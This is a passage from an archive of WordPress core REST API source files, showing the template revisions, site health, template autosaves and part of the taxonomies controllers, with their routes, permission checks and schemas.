				'href'       => rest_url( sprintf( '%s/%s/%s/font-faces/%s', $this->namespace, $this->rest_base, $font_family_id, $font_face_id ) ),
			);
		}
		return $links;
	}

	/**
	 * Prepares a single font family post for create or update.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();
		// Settings have already been decoded by ::sanitize_font_family_settings().
		$settings = $request->get_param( 'font_family_settings' );

		// This is an update and we merge with the existing font family.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$existing_settings = $this->get_settings_from_post( $existing_post );
			$settings          = array_merge( $existing_settings, $settings );
		}

		$prepared_post->post_type   = $this->post_type;
		$prepared_post->post_status = 'publish';
		$prepared_post->post_title  = $settings['name'];
		$prepared_post->post_name   = sanitize_title( $settings['slug'] );

		// Remove duplicate information from settings.
		unset( $settings['name'] );
		unset( $settings['slug'] );

		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Gets the font family's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font family post object.
	 * @return array Font family settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings_json = json_decode( $post->post_content, true );

		// Default to empty strings if the settings are missing.
		return array(
			'name'       => isset( $post->post_title ) && $post->post_title ? $post->post_title : '',
			'slug'       => isset( $post->post_name ) && $post->post_name ? $post->post_name : '',
			'fontFamily' => isset( $settings_json['fontFamily'] ) && $settings_json['fontFamily'] ? $settings_json['fontFamily'] : '',
			'preview'    => isset( $settings_json['preview'] ) && $settings_json['preview'] ? $settings_json['preview'] : '',
		);
	}
}
endpoints/class-wp-rest-template-revisions-controller.php000064400000021024151724720270020003 0ustar00<?php
/**
 * REST API: WP_REST_Template_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.4.0
 */

/**
 * Core class used to access template revisions via the REST API.
 *
 * @since 6.4.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Template_Revisions_Controller extends WP_REST_Revisions_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		parent::__construct( $parent_post_type );
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for revisions based on post types supporting revisions.
	 *
	 * @since 6.4.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base,
				'(?P<id>[\d]+)'
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as revisions do not support trashing.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Gets the parent post, if the template ID is valid.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_template_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_template_id ) {
		$template = get_block_template( $parent_template_id, $this->parent_post_type );

		if ( ! $template ) {
			return new WP_Error(
				'rest_post_invalid_parent',
				__( 'Invalid template parent ID.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		$parent_post_id = isset( $template->wp_id ) ? (int) $template->wp_id : 0;

		if ( $parent_post_id <= 0 ) {
			return new WP_Error(
				'rest_invalid_template',
				__( 'Templates based on theme files can\'t have revisions.' ),
				array( 'status' => WP_Http::BAD_REQUEST )
			);
		}

		return get_post( $template->wp_id );
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$template = _build_block_template_result_from_post( $item );
		$response = $this->parent_controller->prepare_item_for_response( $template, $request );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return $response;
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->post_parent;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this revision.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Block_Template $template Template.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $template ) {
		$links = array(
			'self'   => array(
				'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
			),
			'parent' => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 6.4.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = $this->parent_controller->get_item_schema();

		$schema['properties']['parent'] = array(
			'description' => __( 'The ID for the parent of the revision.' ),
			'type'        => 'integer',
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-site-health-controller.php000060400000023154151724720270016362 0ustar00<?php
/**
 * REST API: WP_REST_Site_Health_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class for interacting with Site Health tests.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Site_Health_Controller extends WP_REST_Controller {

	/**
	 * An instance of the site health class.
	 *
	 * @since 5.6.0
	 *
	 * @var WP_Site_Health
	 */
	private $site_health;

	/**
	 * Site Health controller constructor.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_Site_Health $site_health An instance of the site health class.
	 */
	public function __construct( $site_health ) {
		$this->namespace = 'wp-site-health/v1';
		$this->rest_base = 'tests';

		$this->site_health = $site_health;
	}

	/**
	 * Registers API routes.
	 *
	 * @since 5.6.0
	 * @since 6.1.0 Adds page-cache async test.
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'background-updates'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_background_updates' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'background_updates' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'loopback-requests'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_loopback_requests' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'loopback_requests' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'https-status'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_https_status' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'https_status' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'dotorg-communication'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_dotorg_communication' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'dotorg_communication' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'authorization-header'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_authorization_header' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'authorization_header' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s',
				'directory-sizes'
			),
			array(
				'methods'             => 'GET',
				'callback'            => array( $this, 'get_directory_sizes' ),
				'permission_callback' => function () {
					return $this->validate_request_permission( 'directory_sizes' ) && ! is_multisite();
				},
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'page-cache'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_page_cache' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'page_cache' );
					},
				),
			)
		);
	}

	/**
	 * Validates if the current user can request this REST endpoint.
	 *
	 * @since 5.6.0
	 *
	 * @param string $check The endpoint check being ran.
	 * @return bool
	 */
	protected function validate_request_permission( $check ) {
		$default_capability = 'view_site_health_checks';

		/**
		 * Filters the capability needed to run a given Site Health check.
		 *
		 * @since 5.6.0
		 *
		 * @param string $default_capability The default capability required for this check.
		 * @param string $check              The Site Health check being performed.
		 */
		$capability = apply_filters( "site_health_test_rest_capability_{$check}", $default_capability, $check );

		return current_user_can( $capability );
	}

	/**
	 * Checks if background updates work as expected.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_background_updates() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_background_updates();
	}

	/**
	 * Checks that the site can reach the WordPress.org API.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_dotorg_communication() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_dotorg_communication();
	}

	/**
	 * Checks that loopbacks can be performed.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_loopback_requests() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_loopback_requests();
	}

	/**
	 * Checks that the site's frontend can be accessed over HTTPS.
	 *
	 * @since 5.7.0
	 *
	 * @return array
	 */
	public function test_https_status() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_https_status();
	}

	/**
	 * Checks that the authorization header is valid.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_authorization_header() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_authorization_header();
	}

	/**
	 * Checks that full page cache is active.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function test_page_cache() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_page_cache();
	}

	/**
	 * Gets the current directory sizes for this install.
	 *
	 * @since 5.6.0
	 *
	 * @return array|WP_Error
	 */
	public function get_directory_sizes() {
		if ( ! class_exists( 'WP_Debug_Data' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
		}

		$this->load_admin_textdomain();

		$sizes_data = WP_Debug_Data::get_sizes();
		$all_sizes  = array( 'raw' => 0 );

		foreach ( $sizes_data as $name => $value ) {
			$name = sanitize_text_field( $name );
			$data = array();

			if ( isset( $value['size'] ) ) {
				if ( is_string( $value['size'] ) ) {
					$data['size'] = sanitize_text_field( $value['size'] );
				} else {
					$data['size'] = (int) $value['size'];
				}
			}

			if ( isset( $value['debug'] ) ) {
				if ( is_string( $value['debug'] ) ) {
					$data['debug'] = sanitize_text_field( $value['debug'] );
				} else {
					$data['debug'] = (int) $value['debug'];
				}
			}

			if ( ! empty( $value['raw'] ) ) {
				$data['raw'] = (int) $value['raw'];
			}

			$all_sizes[ $name ] = $data;
		}

		if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
			return new WP_Error( 'not_available', __( 'Directory sizes could not be returned.' ), array( 'status' => 500 ) );
		}

		return $all_sizes;
	}

	/**
	 * Loads the admin textdomain for Site Health tests.
	 *
	 * The {@see WP_Site_Health} class is defined in WP-Admin, while the REST API operates in a front-end context.
	 * This means that the translations for Site Health won't be loaded by default in {@see load_default_textdomain()}.
	 *
	 * @since 5.6.0
	 */
	protected function load_admin_textdomain() {
		// Accounts for inner REST API requests in the admin.
		if ( ! is_admin() ) {
			$locale = determine_locale();
			load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo", $locale );
		}
	}

	/**
	 * Gets the schema for each site health test.
	 *
	 * @since 5.6.0
	 *
	 * @return array The test schema.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'wp-site-health-test',
			'type'       => 'object',
			'properties' => array(
				'test'        => array(
					'type'        => 'string',
					'description' => __( 'The name of the test being run.' ),
					'readonly'    => true,
				),
				'label'       => array(
					'type'        => 'string',
					'description' => __( 'A label describing the test.' ),
					'readonly'    => true,
				),
				'status'      => array(
					'type'        => 'string',
					'description' => __( 'The status of the test.' ),
					'enum'        => array( 'good', 'recommended', 'critical' ),
					'readonly'    => true,
				),
				'badge'       => array(
					'type'        => 'object',
					'description' => __( 'The category this test is grouped in.' ),
					'properties'  => array(
						'label' => array(
							'type'     => 'string',
							'readonly' => true,
						),
						'color' => array(
							'type'     => 'string',
							'enum'     => array( 'blue', 'orange', 'red', 'green', 'purple', 'gray' ),
							'readonly' => true,
						),
					),
					'readonly'    => true,
				),
				'description' => array(
					'type'        => 'string',
					'description' => __( 'A more descriptive explanation of what the test looks for, and why it is important for the user.' ),
					'readonly'    => true,
				),
				'actions'     => array(
					'type'        => 'string',
					'description' => __( 'HTML containing an action to direct the user to where they can resolve the issue.' ),
					'readonly'    => true,
				),
			),
		);

		return $this->schema;
	}
}
endpoints/class-wp-rest-template-autosaves-controller.php000064400000017221151724720270020000 0ustar00<?php
/**
 * REST API: WP_REST_Template_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.4.0
 */

/**
 * Core class used to access template autosaves via the REST API.
 *
 * @since 6.4.0
 *
 * @see WP_REST_Autosaves_Controller
 */
class WP_REST_Template_Autosaves_Controller extends WP_REST_Autosaves_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		parent::__construct( $parent_post_type );
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 6.4.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<id>%s%s)/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base,
				'(?P<id>[\d]+)'
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$template = _build_block_template_result_from_post( $item );
		$response = $this->parent_controller->prepare_item_for_response( $template, $request );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return $response;
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->post_parent;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Gets the autosave, if the ID is valid.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Autosave post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$autosave = wp_get_post_autosave( $parent->ID );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this template.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Get the parent post.
	 *
	 * @since 6.4.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Block_Template $template Template.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $template ) {
		$links = array(
			'self'   => array(
				'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
			),
			'parent' => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 6.4.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = $this->revisions_controller->get_item_schema();

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-taxonomies-controller.php000064400000033277151724720270016354 0ustar00<?php
/**
 * REST API: WP_REST_Taxonomies_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage taxonomies via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Taxonomies_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'taxonomies';
	}

	/**
	 * Registers the routes for taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<taxonomy>[\w-]+)',
			array(
				'args'   => array(
					'taxonomy' => array(
						'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			if ( ! empty( $request['type'] ) ) {
				$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
			} else {
				$taxonomies = get_taxonomies( '', 'objects' );
			}

			foreach ( $taxonomies as $taxonomy ) {
				if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all public taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) {
			$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
		} else {
			$taxonomies = get_taxonomies( '', 'objects' );
		}

		$data = array();

		foreach ( $taxonomies as $tax_type => $value ) {
			if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) {
				continue;
			}

			$tax               = $this->prepare_item_for_response( $value, $request );
			$tax               = $this->prepare_response_for_collection( $tax );
			$data[ $tax_type ] = $tax;
		}

		if ( empty( $data ) ) {
			// Response should still be returned as a JSON object when it is empty.
			$data = (object) $data;
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {

		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( $tax_obj ) {
			if ( empty( $tax_obj->show_in_rest ) ) {
				return false;
			}

			if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a specific taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( empty( $tax_obj ) ) {
			return new WP_Error(
				'rest_taxonomy_invalid',
				__( 'Invalid taxonomy.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $tax_obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a taxonomy object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Taxonomy     $item    Taxonomy data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php */
